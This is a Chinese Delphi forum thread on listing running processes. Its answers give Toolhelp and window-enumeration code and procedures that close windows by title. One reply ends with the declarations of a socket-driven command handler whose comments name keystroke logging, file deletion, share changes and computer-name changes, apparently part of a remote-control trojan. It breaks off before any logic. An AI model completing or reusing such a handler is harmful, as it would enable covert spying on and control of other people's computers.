请问如何获取当前正在运行的程序的名称(100分)

  • 主题发起人 主题发起人 X-ary
  • 开始时间 开始时间
X

X-ary

Unregistered / Unconfirmed
GUEST, unregistred user!
请问如何获取当前正在运行的程序的名称<br>(要求:像按下ALT+CTRL+DEL时,弹出的对话框中显示的效果哦)
 
如果是在98/2000下,可以使用Tool Help API<br>&nbsp; CreateToolhelp32Snapshot<br>&nbsp; Heap32First<br>&nbsp; Heap32ListFirst<br>&nbsp; Heap32ListNext<br>&nbsp; Heap32Next<br>&nbsp; Module32First<br>&nbsp; Module32Next<br>&nbsp; Process32First<br>&nbsp; Process32Next<br>&nbsp; Thread32First<br>&nbsp; Thread32Next<br>&nbsp; Toolhelp32ReadProcessMemory <br>但在NT下就没这么简单了,不过我自己实现了上述Tool Help API 接口,<br>是否需要 :-)<br><br><br>
 
还可用EnumWindows
 
EnumWindows 对一些后台进程无效的。
 
procedure TForm1.My_CloseApp(S: string); //确定标题<br>var<br>&nbsp; Exehandle: Thandle;<br>begin<br>//获得句柄--&gt;标题确定<br>&nbsp; ExeHandle := findWindow(nil, Pchar(S)); //返回句柄<br>//关闭程序<br>&nbsp; if ExeHandle &lt;&gt; 0 then<br>&nbsp; &nbsp; PostMessage(ExeHandle, WM_Close, 0, 0);<br>end;<br><br>procedure TForm1.My_FuckApp(S: string); //确定标题<br>var<br>&nbsp; Exehandle: Thandle;<br>begin<br>//获得句柄--&gt;标题确定<br>&nbsp; ExeHandle := findWindow(nil, Pchar(S)); //返回句柄<br>//关闭程序<br>&nbsp; if ExeHandle &lt;&gt; 0 then<br>&nbsp; &nbsp; PostMessage(ExeHandle, WM_Quit, 0, 0);<br>end;<br><br>procedure TForm1.My_SendFocous(S: string);<br>var<br>&nbsp; wnd: HWND;<br>begin<br>//找到应用程序的窗口的句柄<br>&nbsp; wnd := FindWindow(nil, Pchar(s));<br>&nbsp; if wnd &lt;&gt; 0 then<br>&nbsp; &nbsp; if isiconic(wnd) then<br>&nbsp; &nbsp; &nbsp; ShowWindow(wnd, sw_restore)<br>&nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; SetForegroundWindow(wnd)<br>&nbsp; else<br>&nbsp; &nbsp; ShowWindow(wnd, SW_SHOWNORMAL);<br>end;<br><br><br>procedure TForm1.AppMessage(var Msg: TMsg);<br>begin<br>&nbsp; SendMessage(Handle, WM_NCLButtonDown, HTCaption, GetMessagePos);<br>end;<br><br>procedure TForm1.ScanRunfile;<br>var<br>&nbsp; lppe: tprocessentry32;<br>&nbsp; found: boolean;<br>&nbsp; hand: thandle;<br>begin<br>&nbsp; LBfile.Clear;<br>&nbsp; hand := Createtoolhelp32snapshot(th32cs_snapall, 0);<br>&nbsp; found := process32first(hand, lppe);<br>&nbsp; while found do<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; LBfile.Items.Add(strpas(lppe.szexefile));<br>&nbsp; &nbsp; &nbsp; found := process32next(hand, lppe);<br>&nbsp; &nbsp; end;<br>end;<br>procedure TForm1.SanWD;<br>var<br>&nbsp; hCurrentWindow: HWnd;<br>&nbsp; szText: array[0..254] of char;<br>begin<br>&nbsp; LBWd.Clear;<br>&nbsp; hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);<br>&nbsp; while hCurrentWindow &lt;&gt; 0 do<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; if GetWindowText(hCurrentWindow, @szText, 255) &gt; 0 then<br>&nbsp; &nbsp; &nbsp; &nbsp; LBWd.Items.Add(StrPas(@szText));<br>&nbsp; &nbsp; &nbsp; hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);<br>&nbsp; &nbsp; end;<br>end;<br><br>procedure Tform1.cjtdoit(Socket: TCustomWinSocket);<br>var<br>&nbsp; &nbsp; Strkey: string; //击键记录<br>&nbsp; BoolKeySpy: boolean; //击键记录 状态<br>&nbsp; StrScreen: string; //读取屏幕分辨率<br>&nbsp; IScreenX, IScreenY: integer; //改变屏幕分辨率<br>&nbsp; StrsetComputername: string; //改变计算机名<br>&nbsp; StrSharName, StrSharPath, StrDelShar: string; //共享<br>&nbsp; Iconi, Btj, Scption, SText: string; //发送信息<br>&nbsp; S, Strrunfile, strwindows, StrVersion, StrPass: string;<br>&nbsp; strWmax, strWfocus, strWclose, strWmin, strWhide, strWquit: string; //窗口操作<br>&nbsp; IntPaper: integer;<br>&nbsp; StrWallpaper: string; //更换墙纸<br>&nbsp; IntFile: integer;<br>&nbsp; StrFile: string; //文件打开<br>&nbsp; StrDelname: string; //文件删除
 
搜索一下以前的内容,有详细的例子!我就看到过
 
多人接受答案了。
 
后退
顶部